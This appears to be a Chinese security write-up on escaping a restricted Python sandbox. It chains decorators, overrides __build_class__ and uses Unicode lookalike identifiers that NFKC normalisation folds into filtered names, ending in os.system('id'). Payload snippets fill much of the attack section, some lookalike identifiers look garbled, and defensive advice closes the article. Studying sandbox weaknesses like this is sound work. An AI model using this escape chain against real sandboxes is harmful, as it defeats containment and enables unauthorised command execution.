一种借助装饰器和Unicode规范化进行沙箱逃逸的方法
字数 1175 2025-09-01 11:26:17

Python沙箱逃逸技术:利用装饰器和Unicode规范化绕过限制

1. 沙箱环境分析

1.1 沙箱限制条件

  • 过滤了括号 (,阻止函数调用
  • 过滤了特定字母:h, u, i, ", \, '
  • 置空了 __builtins__

1.2 主要挑战

  • 无法通过常规方式调用函数(缺少括号)
  • 无法直接使用包含被过滤字母的关键字(如__builtins__

2. 核心技术原理

2.1 装饰器特性利用

Python装饰器是一种在函数/类定义时立即执行的语法结构,无需显式调用(不需要括号)。

装饰器示例:

def p(f):
    print("执行装饰器")
    return f

@p
def hi():
    pass
# 输出"执行装饰器",无需调用hi()

2.2 Unicode规范化(NFKC)

Python 3解释器会对变量名进行NFKC规范化处理:

  1. 组合字符统一:é (U+00E9) 和 (U+0065 + U+0301) 被视为相同
  2. 兼容字符转换:
    • 全角字母 (U+FF21) → A (U+0041)
    • 带圈数字 (U+2460) → 1 (U+0031)
    • 罗马数字 (U+2163) → IV

3. 完整攻击流程

3.1 获取基础组件

b = [].__class__.__base__  # 获取object基类
d = [].__doc__  # 获取list类的文档字符串作为字符库
n = ...  # 构造下划线和"__build_class__"字符串

3.2 劫持类创建机制

__b𝑢𝕚𝕚𝕚lt𝕚𝕚𝕚ns__[n] = lambda *_: b
  • 覆盖__build_class__函数
  • 使所有类定义都返回object基类

3.3 装饰器调用链

第一环:获取所有子类

@b.__class__.__s𝑢bclasses__
class s: _
  • 等价于 s = type.__subclasses__(object)
  • 获取当前环境中所有加载的类

第二环:加载os模块

@s[84].load_mod𝑢le
@lambda _: d[32] + d[17]
class o: _
  1. 内层装饰器构造"os"字符串
  2. 外层装饰器使用_frozen_importlib.BuiltinImporter加载模块
  3. 等价于 o = s[84].load_module('os')

第三环:执行系统命令

@o.system
@lambda _: d[2] + d[139]
class _: _
  1. 内层装饰器构造命令字符串(如"id")
  2. 外层装饰器调用os.system
  3. 等价于 _ = os.system('id')

4. 关键技术点

4.1 装饰器链工作原理

  1. 最内层装饰器先执行,生成参数
  2. 外层装饰器使用内层结果作为参数
  3. 通过多层嵌套实现函数调用链

4.2 Unicode绕过技巧

  • 使用视觉等效字符绕过字母过滤:
    • s𝑢bclassessubclasses (通过NFKC规范化)
    • b𝑢𝕚𝕚𝕚lt𝕚𝕚𝕚nsbuiltins

4.3 字符串构造方法

  • 从现有对象(如[].__doc__)中切片提取所需字符
  • 拼接出被过滤的关键字(如"os"、"system")

5. 防御建议

  1. 加强字符过滤:

    • 检查Unicode变体字符
    • 规范化后再次检查
  2. 限制装饰器使用:

    • 监控或限制装饰器语法
  3. 加固沙箱环境:

    • 限制对关键内置属性(如__build_class__)的修改
    • 使用更严格的模块导入控制
  4. 实施深度防御:

    • 结合多种过滤和监控机制
    • 限制系统命令执行能力
Python沙箱逃逸技术:利用装饰器和Unicode规范化绕过限制 1. 沙箱环境分析 1.1 沙箱限制条件 过滤了括号 ( ,阻止函数调用 过滤了特定字母: h , u , i , " , \ , ' 置空了 __builtins__ 1.2 主要挑战 无法通过常规方式调用函数(缺少括号) 无法直接使用包含被过滤字母的关键字(如 __builtins__ ) 2. 核心技术原理 2.1 装饰器特性利用 Python装饰器是一种在函数/类定义时立即执行的语法结构,无需显式调用(不需要括号)。 装饰器示例: 2.2 Unicode规范化(NFKC) Python 3解释器会对变量名进行NFKC规范化处理: 组合字符统一: é (U+00E9) 和 e´ (U+0065 + U+0301) 被视为相同 兼容字符转换: 全角字母 A (U+FF21) → A (U+0041) 带圈数字 ① (U+2460) → 1 (U+0031) 罗马数字 Ⅳ (U+2163) → IV 3. 完整攻击流程 3.1 获取基础组件 3.2 劫持类创建机制 覆盖 __build_class__ 函数 使所有类定义都返回 object 基类 3.3 装饰器调用链 第一环:获取所有子类 等价于 s = type.__subclasses__(object) 获取当前环境中所有加载的类 第二环:加载os模块 内层装饰器构造"os"字符串 外层装饰器使用 _frozen_importlib.BuiltinImporter 加载模块 等价于 o = s[84].load_module('os') 第三环:执行系统命令 内层装饰器构造命令字符串(如"id") 外层装饰器调用 os.system 等价于 _ = os.system('id') 4. 关键技术点 4.1 装饰器链工作原理 最内层装饰器先执行,生成参数 外层装饰器使用内层结果作为参数 通过多层嵌套实现函数调用链 4.2 Unicode绕过技巧 使用视觉等效字符绕过字母过滤: s𝑢bclasses → subclasses (通过NFKC规范化) b𝑢𝕚𝕚𝕚lt𝕚𝕚𝕚ns → builtins 4.3 字符串构造方法 从现有对象(如 [].__doc__ )中切片提取所需字符 拼接出被过滤的关键字(如"os"、"system") 5. 防御建议 加强字符过滤: 检查Unicode变体字符 规范化后再次检查 限制装饰器使用: 监控或限制装饰器语法 加固沙箱环境: 限制对关键内置属性(如 __build_class__ )的修改 使用更严格的模块导入控制 实施深度防御: 结合多种过滤和监控机制 限制系统命令执行能力